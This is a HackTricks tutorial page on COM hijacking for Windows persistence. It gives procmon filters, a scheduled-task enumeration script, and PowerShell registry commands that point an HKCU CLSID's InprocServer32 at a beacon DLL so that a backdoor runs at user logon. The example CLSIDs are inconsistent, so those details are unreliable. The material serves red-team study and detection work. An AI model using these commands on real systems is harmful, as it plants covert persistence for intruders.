hacktricks/windows-hardening/windows-local-privilege-escalation/com-hijacking.md

# COM Hijacking

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### Searching not existent COM components

As the values of HKCU can be modified by the users **COM Hijacking** could be used as a **persistent mechanisms**. Using `procmon` it's easy to find searched COM registries that doesn't exist that an attacker could create to persist. Filters:

* **RegOpenKey** operations.
* where the _Result_ is **NAME NOT FOUND**.
* and the _Path_ ends with **InprocServer32**.

Once you have decided which not existent COM to impersonate execute the following commands. _Be careful if you decide to impersonate a COM that is loaded every few seconds as that could be overkill._&#x20;

```bash
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
```

### Hijackable Task Scheduler COM components

Windows Tasks use Custom Triggers to call COM objects and because they're executed through the Task Scheduler, it's easier to predict when they're gonna be triggered.

<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
$Tasks = Get-ScheduledTask

foreach ($Task in $Tasks)
{
  if ($Task.Actions.ClassId -ne $null)
  {
    if ($Task.Triggers.Enabled -eq $true)
    {
      $usersSid = "S-1-5-32-545"
      $usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }

      if ($Task.Principal.GroupId -eq $usersGroup)
      {
        Write-Host "Task Name: " $Task.TaskName
        Write-Host "Task Path: " $Task.TaskPath
        Write-Host "CLSID: " $Task.Actions.ClassId
        Write-Host
      }
    }
  }
}

# Sample Output:
<strong># Task Name:  Example
</strong># Task Path:  \Microsoft\Windows\Example\
# CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
# [more like the previous one...]</code></pre>

Checking the output you can select one that is going to be executed **every time a user logs in** for example.

Now searching for the CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** and in HKLM and HKCU, you usually will find that the value doesn't exist in HKCU.

```bash
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"

Name           Property
----           --------
InprocServer32 (default)      : C:\Windows\system32\some.dll
               ThreadingModel : Both

# Exists in HKLM
Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize

Name                                   Property
----                                   --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler

# Doesn't exist in HKCU
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
```

Then, you can just create the HKCU entry and everytime the user logs in, your backdoor will be fired.

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>